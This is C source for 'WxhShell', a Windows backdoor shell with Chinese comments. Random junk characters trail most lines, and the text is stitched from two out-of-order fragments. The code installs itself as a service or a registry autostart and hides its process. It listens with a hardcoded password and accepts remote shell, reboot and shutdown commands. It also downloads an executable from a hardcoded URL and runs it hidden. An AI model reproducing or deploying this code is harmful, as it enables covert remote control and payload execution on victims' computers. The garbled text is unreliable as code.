ULONG InheritedFromUniqueProcessId; h,jAtL!
} PROCESS_BASIC_INFORMATION; q-)_Qco
o4
OEA)k)=
PROCNTQSIP NtQueryInformationProcess; Y
Z2VP
j!8+|eAkk
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {,mRMDEy
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v}*u[GWl]
Oj|p`Dzh
HANDLE hProcess; lL+^n~g
PROCESS_BASIC_INFORMATION pbi; TXOW/{B
36Y[7m=
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I z=w2\r
if(NULL == hInst ) return 0; Xs,PT
F>-@LOqHy
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s\1_-D5]Z
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2]3Jb{8FI>
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JGNxJ S<]
pxnUe1=
if (!NtQueryInformationProcess) return 0; o)D+qiA3U
dGW7,B~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u4^"E+y^S
if(!hProcess) return 0; 8}E(UsTa
(c|qX-%rC
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %L|bF"K5;
WM l ^XZO
CloseHandle(hProcess); /Gv$1t^a
HnY"6gTNK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^3s&90
if(hProcess==NULL) return 0; `Q^Sm`R
KIl.?_61O
HMODULE hMod; m-FDCiN>
char procName[255]; &B,& *Lp
unsigned long cbNeeded; bvRGTOxO
>"{zrwNq
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); YqCK#zT/
*xVAm7_v
CloseHandle(hProcess); |(ju!&
"LaX_0t)
if(strstr(procName,"services")) return 1; // 以服务启动 _5`S)G{
%~(i[Ur;
return 0; // 注册表启动 /<(ik&%N
} O,Gn2Do
v23Uh2[@Yy
// 主模块 0!\q
int StartWxhshell(LPSTR lpCmdLine) fhWD>;%F%
{ u`2k6.-
SOCKET wsl; s3!LR2qiF
BOOL val=TRUE; ;<R_j%*
int port=0; ~"0X,APR5
struct sockaddr_in door; _%%"Y}
(>`SS#(T!
if(wscfg.ws_autoins) Install();
x`l;
;
5&Kn #
port=atoi(lpCmdLine); ho$%7mc
GQBN-Qv
if(port<=0) port=wscfg.ws_port; jz:c)C&/
,T[
+omo
WSADATA data; 8J U~Q
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?t P/VL
''07Km@x
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; GlD'?Mk1
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vs5wxTM
door.sin_family = AF_INET; L
umD.3<
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?G w89r
door.sin_port = htons(port); <&Xq`i/(
R*C+Yk)Tkt
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PzkXrDlB7
closesocket(wsl); fsuvg jlE
return 1; yyDBW`V((
} -s "$I:v
xmx;tq
if(listen(wsl,2) == INVALID_SOCKET) { VjMuU"++@
closesocket(wsl); o@;_(knb
return 1; Y &+/[[
} *lO+^\HXD
Wxhshell(wsl); TBT*j&!L
WSACleanup(); WfO$q^'?DP
CxQ,yd;>
return 0; Khd ,|pM
Bz~h-
} s\R?@
?M(Wx
// 以NT服务方式启动 'PbA/MN
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6\@, Lb
{ |:[vpJFK
DWORD status = 0; P?7b,a95O
DWORD specificError = 0xfffffff; >AFpO*q"
f`rz)C03
serviceStatus.dwServiceType = SERVICE_WIN32; M3`A&*\;
serviceStatus.dwCurrentState = SERVICE_START_PENDING; kn|l 3+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U8z"{
serviceStatus.dwWin32ExitCode = 0; X#<Sv>c^
serviceStatus.dwServiceSpecificExitCode = 0; ibw;BU
serviceStatus.dwCheckPoint = 0; EBLoRW=8ld
serviceStatus.dwWaitHint = 0; ;mlIWn
]~ UkD*Ct
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /=} vPey
if (hServiceStatusHandle==0) return; ^4NH.q{
qNL~m'
status = GetLastError(); axOy~%%c
if (status!=NO_ERROR) s$6#3%h
{ x0GZ2*vfsb
serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Oq ;V:7
serviceStatus.dwCheckPoint = 0; iK:]Q8b
serviceStatus.dwWaitHint = 0; WQL`;uIX
serviceStatus.dwWin32ExitCode = status; (B#|3o
serviceStatus.dwServiceSpecificExitCode = specificError; cf!R
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c Zr4
return; Z.JTq~`I
} r%n[PK^(
TD7ONa-,
serviceStatus.dwCurrentState = SERVICE_RUNNING; `I$A;OPK7
serviceStatus.dwCheckPoint = 0; =1capix 1r
serviceStatus.dwWaitHint = 0; $0t
%}DE
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k3XtKPO
} ^+<uHd>
.`].\Zykf
// 处理NT服务事件,比如:启动、停止 _R6> Ayw*
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1[]cMyV
{ DUr1s]+P
switch(fdwControl) Km-B=6*QY
{ Wz]S+IpY
case SERVICE_CONTROL_STOP: &@-glF5
serviceStatus.dwWin32ExitCode = 0; )I4t l/
serviceStatus.dwCurrentState = SERVICE_STOPPED; r kl7p?
serviceStatus.dwCheckPoint = 0; dz 2d`=`3
serviceStatus.dwWaitHint = 0; eGil`:JY"
{ vxx3^;4p
SetServiceStatus(hServiceStatusHandle, &serviceStatus); YSif`W!
} 6 -}gqkR
return; *93 N0m4Rl
case SERVICE_CONTROL_PAUSE: i\G3
u#
serviceStatus.dwCurrentState = SERVICE_PAUSED; _T$\$v$ {
break; }dM^6
Kd%
case SERVICE_CONTROL_CONTINUE: qQ_QF
serviceStatus.dwCurrentState = SERVICE_RUNNING; D6WsEd>
break; \2!$HA7P
case SERVICE_CONTROL_INTERROGATE: U_No/$ b
break; W]OT=6u8o
}; gP@ni$n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sj?'T@
} VUb*,/hxa
7F4]EA^
// 标准应用程序主函数 E.9F~&DPJ<
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8^lXM-G-
{ X'm2uOEj
x?IT#ty
// 获取操作系统版本 *&D=]fG
OsIsNt=GetOsVer(); -E7\.K3
GetModuleFileName(NULL,ExeFile,MAX_PATH); 25L{bcng
lLhCk>a
// 从命令行安装 %Y TIS*+0
if(strpbrk(lpCmdLine,"iI")) Install(); wah`
guvQISQlY
// 下载执行文件 d}Om?kn
if(wscfg.ws_downexe) { iJBZnU:Mp
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O]>`B{
WinExec(wscfg.ws_filenam,SW_HIDE); C0RwW??t
} %}[??R0
V|)>
if(!OsIsNt) { XvdhPOMy
// 如果时win9x,隐藏进程并且设置为注册表启动 OBZj-`fq J
HideProc(); X#y l8k_
StartWxhshell(lpCmdLine); @!$NUY8,A#
} rxARJso
else 2wd(0K}b
if(StartFromService()) $c-3Q|C
// 以服务方式启动 i*<,@*
StartServiceCtrlDispatcher(DispatchTable); k$UBZ,=iC
else |};~YMH
// 普通方式启动 iYf4 /1IG,
StartWxhshell(lpCmdLine); FyEl@ }W
C6n4OU
return 0; SxDE3A-:
} ;Yj}9[p;T
TI332,eL
L*z;-,
hk
I$ow (
=========================================== |j,Mof
RC 48e._t
~&x%;cnv_
P(`IY+
JI&>w-~D
ezn>3?S
" Ut+m m\7
i]nE86.;
#include <stdio.h> D1f=f88/}
#include <string.h> -n9e-0
#include <windows.h> Hpt)(Nz:
#include <winsock2.h> AS7!FD6b
#include <winsvc.h> r!#3>F;B
#include <urlmon.h> H2]I__t/u
NQG"}=KA
#pragma comment (lib, "Ws2_32.lib") Cv| :.y
#pragma comment (lib, "urlmon.lib") 0\+Qi?&
? _W*7<
#define MAX_USER 100 // 最大客户端连接数 z+b~#f3
#define BUF_SOCK 200 // sock buffer `Ao:}
#define KEY_BUFF 255 // 输入 buffer >HFJm&lQ
3{ci]h`:y8
#define REBOOT 0 // 重启 G 1$l %B
#define SHUTDOWN 1 // 关机 g_=Q=y@,
^.(]i\V_
#define DEF_PORT 5000 // 监听端口 h@J`:KO
)d(cXN-T
#define REG_LEN 16 // 注册表键长度 (]1%s?ud*
#define SVC_LEN 80 // NT服务名长度 ^tah4QmUA
,w6?}
N
// 从dll定义API u7mj
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :.dQY=6I
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~K[rQ
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *=v
RX!sI,
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); bYtF#Y
MiC&av
// wxhshell配置信息 L4NC-
struct WSCFG { a-3~HH
int ws_port; // 监听端口 g5E]o)
char ws_passstr[REG_LEN]; // 口令 U|zW_dj
int ws_autoins; // 安装标记, 1=yes 0=no <fw[7=_)^
char ws_regname[REG_LEN]; // 注册表键名 ql#K72s
char ws_svcname[REG_LEN]; // 服务名 h %nZKhm
char ws_svcdisp[SVC_LEN]; // 服务显示名 !hq7R]TC+
char ws_svcdesc[SVC_LEN]; // 服务描述信息 v zn/waw
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qSQjAo4t@
int ws_downexe; // 下载执行标记, 1=yes 0=no .JiQq]
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /EC m
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8[DD=[&
4MM#\
}; Dihk8qJ/6
j<!$ug9VA
// default Wxhshell configuration 982$d<0%
struct WSCFG wscfg={DEF_PORT, ri:fo'4TO
"xuhuanlingzhe", |9y&;3
1, D,hl+P{^K
"Wxhshell", &(0iSS
"Wxhshell", `<K#bDU;a
"WxhShell Service", 1kpI?Plki
"Wrsky Windows CmdShell Service", /'I/sWEV
"Please Input Your Password: ", <W?,n%
1, ZGf=/Ra
a
"http://www.wrsky.com/wxhshell.exe", \z_@.Jw{
"Wxhshell.exe" >$?Z&7Lv
}; L+,{*Uj[;
WMg#pLc#
// 消息定义模块
R+m{nO~r
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; tly:$;K
char *msg_ws_prompt="\n\r? for help\n\r#>"; PH]q#/'
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dlWw=^
char *msg_ws_ext="\n\rExit."; p?}Rolk7
char *msg_ws_end="\n\rQuit."; j#*K[
char *msg_ws_boot="\n\rReboot..."; +?c&Gazi
char *msg_ws_poff="\n\rShutdown..."; zYep
V
char *msg_ws_down="\n\rSave to "; TqlUe@E
+@!9&5SA
char *msg_ws_err="\n\rErr!"; }{lOsZA
char *msg_ws_ok="\n\rOK!"; B82A:t)
Rn}+l[]jC
char ExeFile[MAX_PATH]; o6q Qzk
int nUser = 0; %|;^[^7+}t
HANDLE handles[MAX_USER]; WaHTzIa[
int OsIsNt; mb&b